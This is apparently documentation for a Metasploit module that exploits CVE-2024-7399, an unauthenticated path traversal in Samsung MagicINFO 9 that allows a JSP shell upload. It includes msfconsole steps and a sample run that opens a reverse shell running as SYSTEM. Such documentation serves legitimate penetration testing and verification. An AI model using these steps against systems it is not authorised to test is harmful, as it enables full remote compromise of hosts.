## Vulnerable Application

**Vulnerability Description**

This module exploits a path traversal vulnerability in Samsung MagicINFO 9 <= 21.1050.0 (CVE-2024-7399).

Remote code execution can be obtained by exploiting the path traversal vulnerability (CVE-2024-7399) in the SWUpdateFileUploader servlet,
which can be queried by an unauthenticated user to upload a JSP shell.
By default, the application listens on TCP ports 7001 (HTTP) and 7002 (HTTPS) on all network interfaces and runs in the context of NT
AUTHORITY\SYSTEM.

**Vulnerable Application Installation**

A trial version of the software can be obtained from [the vendor]
(https://www.samsung.com/us/business/solutions/digital-signage-solutions/magicinfo/).

**Successfully tested on**

- MagicINFO 9 21.1040.2 on Windows 10 (22H2)

## Verification Steps

1. Install Postgres or MySQL
2. Install the application
3. Activate the license
4. Start `msfconsole` and run the following commands:

```
msf > use exploit/windows/http/magicinfo_traversal 
msf exploit(windows/http/magicinfo_traversal) > set RHOSTS <IP>
msf exploit(windows/http/magicinfo_traversal) > exploit 
```

You should get a shell in the context of `NY AUTHORITY\SYSTEM`.

## Options

### DEPTH
The traversal depth. The FILE path will be prepended with ../ * DEPTH.

## Scenarios

Running the exploit against MagicINFO 9 21.1040.2 on Windows 10 should result in an output similar to the
following:

```
msf exploit(windows/http/magicinfo_traversal) > exploit 

[*] Started reverse TCP handler on 192.168.137.204:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] MagicINFO version detected: MagicINFO 9 Server 21.1040.2
[+] The target appears to be vulnerable.
[*] Uploading payload...
[*] Upload successful
[*] Payload executed!
[*] Command shell session 3 opened (192.168.137.204:4444 -> 192.168.137.230:50038) at 2025-05-14 17:36:47 -0400


Shell Banner:
Microsoft Windows [Version 10.0.19045.3208]
(c) Microsoft Corporation. All rights reserved.

C:\MagicInfo Premium\tomcat\bin>
-----
          

C:\MagicInfo Premium\tomcat\bin>whoami
whoami
nt authority\system

C:\MagicInfo Premium\tomcat\bin>
```
